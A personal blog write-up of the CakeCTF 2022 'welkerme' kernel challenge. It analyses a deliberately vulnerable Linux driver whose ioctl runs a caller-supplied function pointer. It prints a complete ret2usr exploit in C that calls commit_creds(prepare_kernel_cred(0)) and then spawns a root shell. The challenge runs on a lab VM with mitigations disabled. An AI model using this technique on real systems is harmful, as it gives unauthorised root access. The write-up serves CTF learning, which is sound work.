The ckriellideon 🔥

CakeCTF 2022 welkerme Writeup - Baby Kernel ret2usr

A baby linux kernel challenge from CakeCTF 2022

- 10 min

CakeCTF 2022

CakeCTF 2022 was a very enjoyable CTF, and our team, Th3Os managed to get 16 place! We hadn’t played together in a while so this was a very good result. Personally I solved welkerme, which got me really excited. I’ve been getting into pwn lately, so getting the chance to tackle a baby kernel challenge was very interesting. Shoutout to ptr-yudai for making this awesome chall.

** Disclaimer: ** The challenge was given out with a README.md file which contained a lot of information to guide one through the challenge. In this writeup we will tackle the challenge without consulting it.

Solving The Challenge

Viewing The Files

We are given the below files:

  • exploit.c: A template for our exploit
  • Makefile: The challs makefile to compile our exploit and kernel. Offers run and debug options
  • run.sh && debug.sh: Essentially qemu one-liners to run the kernels. Each is executed with the corresponding Makefile options
  • src: The directory containing the vulnerable driver
    • driver.c: The source of the vulnerable driver
  • vm: The directory containing the kernel source
    • bzImage: The compressed linux kernel
    • rootfs.cpio && debugfs.cpio: The archived filesystems Now let’s go more into depth on them

Source Code Analysis

Let’s start with our Makefile and .sh scripts so we can at least start running the system.

Makefile

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
exploit: exploit.c
	gcc exploit.c -o exploit -static

run: exploit
# clean up
	rm -rf vm/mount
	mkdir -p vm/mount
# copy exploit
	cd vm/mount; cpio -idv < ../rootfs.cpio
	cp exploit vm/mount/exploit
	cd vm/mount; find . -print0 \
		| cpio -o --null --format=newc --owner root > ../rootfs.cpio
# run qemu
	./run.sh

debug: exploit vm/mount
# clean up
	rm -rf vm/mount
	mkdir -p vm/mount
# copy exploit
	cd vm/mount; cpio -idv < ../debugfs.cpio
	cp exploit vm/mount/exploit
	cd vm/mount; find . -print0 \
		| cpio -o --null --format=newc --owner root > ../debugfs.cpio
# run qemu (debug port: 12345)
	./debug.sh

Really if we pay some attention into both options, the only differences we can see are the archived filesystem being opened and the qemu commands. Other than that, both create a vm/mount directory where the filesystem is extracted to. Our compiled exploit is copied into the systems / dir, and then a cpio command which recreates the archive from the extracted filesystem (don’t really know why since I tested and extracting the filesystem doesn’t mean our .cpio is deleted. Maybe it has something to do with the instance idk. If someone who reads this knows hit me up). So all around standard stuff.

run.sh && debug.sh

Let’s check out the .sh scripts

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# run.sh
#!/bin/sh
exec qemu-system-x86_64 \
     -m 64M \
     -nographic \
     -kernel vm/bzImage \
     -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
     -no-reboot \
     -cpu qemu64 \
     -monitor /dev/null \
     -initrd vm/rootfs.cpio \
     -net nic,model=virtio \
     -net user

# debug.sh
#!/bin/sh
exec qemu-system-x86_64 \
     -m 64M \
     -nographic \
     -kernel vm/bzImage \
     -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
     -no-reboot \
     -cpu qemu64 \
     -monitor /dev/null \
     -initrd vm/debugfs.cpio \
     -net nic,model=virtio \
     -net user \
     -gdb tcp::12345

Again not that many differences. The main one is that -gdb tcp::12345 is added into debug.sh so we can perform remote debugging with gdb. Even though this isn’t s qemu crash course, let’s discuss the flags:

  • -m: Specify the memory size of the vm
  • -nographic: Disable graphical output
  • -kernel: Specify the kernel image
  • -append: Run the specified boot options as kernel commands. Some of them are self-explanatory, like console, loglevel. However there are some interesting ones we will discuss later. Guess which they are 👀
  • -no-reboot: Exit insted of rebooting
  • -cpu: Specify the CPU model
  • -monitor: Redirect the monitor to specified device
  • -initrd: Specify the filesystem
  • -net nic: Create/Configure a Network Interface Card (NIC) and connect it to the emulated (USB ?) hub or to the netdev nd (don’t know what’s that :lemonthink:)
  • -net user: Configure a host network backend and connect it to emulated hub 0. In our case it’s the NIC we crated above
  • -gdb: Accept gdb connection Tried my best, you can find more information on them and many more in the official qemu docs

Surprisingly, we haven’t got all that many files left, just exploit.c and driver.c. So before running it let’s go look at them

driver.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/random.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("welkerme - CakeCTF 2022");

#define DEVICE_NAME "welkerme"
#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002

static int module_open(struct inode *inode, struct file *filp) {
  printk("'module_open' called\n");
  return 0;
}

static int module_close(struct inode *inode, struct file *filp) {
  printk("'module_close' called\n");
  return 0;
}

static long module_ioctl(struct file *filp,
                         unsigned int cmd,
                         unsigned long arg) {
  long (*code)(void);
  printk("'module_ioctl' called with cmd=0x%08x\n", cmd);

  switch (cmd) {
    case CMD_ECHO:
      printk("CMD_ECHO: arg=0x%016lx\n", arg);
      return arg;

    case CMD_EXEC:
      printk("CMD_EXEC: arg=0x%016lx\n", arg);
      code = (long (*)(void))(arg);
      return code();

    default:
      return -EINVAL;
  }
}

static struct file_operations module_fops = {
  .owner   = THIS_MODULE,
  .open    = module_open,
  .release = module_close,
  .unlocked_ioctl = module_ioctl
};

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME))
    return -EBUSY;

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

I’m not going to spend a lot of time into how kernel drivers work, after all LiveOverflow does an amazing job in this video. What we mostly care about is the module_ioctl function and the 2 constants CMD_ECHO && CMD_EXEC. When the function is called, depending on which of the 2 constants was passed, a different switch-case is executed accordingly. CMD_ECHO prints the value of the arg argument, whereas CMD_EXEC executes a function pointer to whatever function we pass into arg. The vulnerability is obvious. Use CMD_EXEC option and pass vulnerable code to arg. Question is, what is vulnerable code for the kernel? Even before that, how do we attack the kernel? Let’s answer these questions before moving into the exploit.

Studying Linux Kernel Exploitation

A Quick Word On Security Mitigations

When attacking userland programs, one of the first things we do is check the security protections present (e.g. PIE, Canary, …). The kernel has it’s fair share of mitigations as well, like stack canaries, Supervisor Mode Execution, Supervisor Mode Access Prevention, and more. You can view them more analytically here. Point is that we don’t have any of them to worry about. Not even canaries, which cannot be disabled, as we have code execution thanks to the function pointer. We will go into a bit more depth for 1 of them later

A Quick Word On Char Devices

One could say that a kernel is like a process. However it’s not the same as a process. For example, we don’t communicate with a kernel module using the standard file descriptors. There are different kernel modules, and ours is a char module. A character module can be accessed like a file by means of filesystem nodes, that can be found in /dev. There, it can be accesses under the DEVICE_NAME defined our driver.c source. In this case #define DEVICE_NAME "welkerme", so /dev/welkerme.

The Simplest Kernel Attack: ret2usr

Let’s draw inspiration from one of the simplest userland buffer overflow attack, ret2shellcode. There, we could control the return address of a stack frame, and return to that address. This let us inject shellcode which would allow us to execute anything we wanted, like for example getting a shell. In cases of remote exploitation, we could get a shell on the remote machine, whereas in cases of privilege escalation, we could become a more privileged user (e.g. root) if the process was running as that user. The difference is that now we are exploiting in kernel space.

Every module in the kernel runs with root privileges. So our driver is running as root. This is the same as a process running as root. But as we’ve touched, it’s not exactly the same. When attacking regular userland processes, we are essentially attacking the process directly. In kernel exploitation, our exploit is running in userland, and is communicating with our module through the file descriptor. So we attempt to elevate the privileges of our process through exploiting the kernel module. Question is, how do we translate that into code?

There exist 2 kernel functions:

  • prepare_kernel_cred: Prepare a set of credentials for a kernel service. This can then be used to override a task’s own credentials so that work can be done on behalf of that task that requires a different subjective context.
  • commit_creds: Install a new set of credentials to the current task Calling them like so commit_creds(prepare_kernel_creds(0)) will escalate the privileges of our process. Then we can just execute a system("/bin/sh");. So if we could just get their addresses to call them, we would be set. dsaisadsadsade addresses?

There exists the Kernel Symbol Table. There, any symbol exported by a loaded module can be accessed by any other loadable module. It can be found in /proc/kallsyms. Let’s try and find these functions there.

1
2
3
4
/$ grep prepare_kernel_cred /proc/kallsyms
ffffffff810726e0 T prepare_kernel_cred
/$ grep commit_creds /proc/kallsyms
ffffffff81072540 T commit_creds

NOTE: To get the above addresses, run the kernel with make debug to get root

Once we have them, we can write inline assembly to call them. And that’s it! Normally (and that’s what I did at first), you need to save your user space state before executing code in kernel space. But because of some things saspect and un1c0rn said to me that went a bit over my head, it isn’t necessary. So we can go ahead and write our solver:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002

void get_shell()
{
	printf("[*] Return 2 userrando\n");
	if (getuid() == 0)
	{
		printf("[*] UID: %d, got root!\n", getuid());
		system("/bin/sh");
	}
	else
	{
		printf("[*] UID: %d, didn't get root!\n", getuid());
		exit(-1);
	}
}

// copy paste from another writeup xp
void escalate_privs(void)
{
    __asm__(
        ".intel_syntax noprefix;"
        "movabs rax, 0xffffffff810726e0;" //prepare_kernel_cred
        "xor rdi, rdi;"
        "call rax;"
        "mov rdi, rax;"
        "movabs rax, 0xffffffff81072540;" //commit_creds
        "call rax;"
        ".att_syntax;"
    );
    printf("[*] :eyes:\n");
}

int main(void)
{
  int fd, ret;

  if ((fd = open("/dev/welkerme", O_RDWR)) < 0) {
    perror("/dev/welkerme");
    exit(1);
  }

  ret = ioctl(fd, CMD_EXEC, escalate_privs);

  get_shell();
  close(fd);
  return 0;
}

To test it, let’s run make run to test it

1
2
3
4
5
6
7
[ welkerme - CakeCTF 2022 ]
/ $ ./exploit
[*] :eyes:
[*] Return 2 userrando
[*] UID: 0, got root!
/ # id
uid=0(root) gid=0(root)

flag: CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}

And we got it! This writeup might have been more than what was needed, but I really enjoyed the challenge, it was a great introduction to kernel exploitation.

References: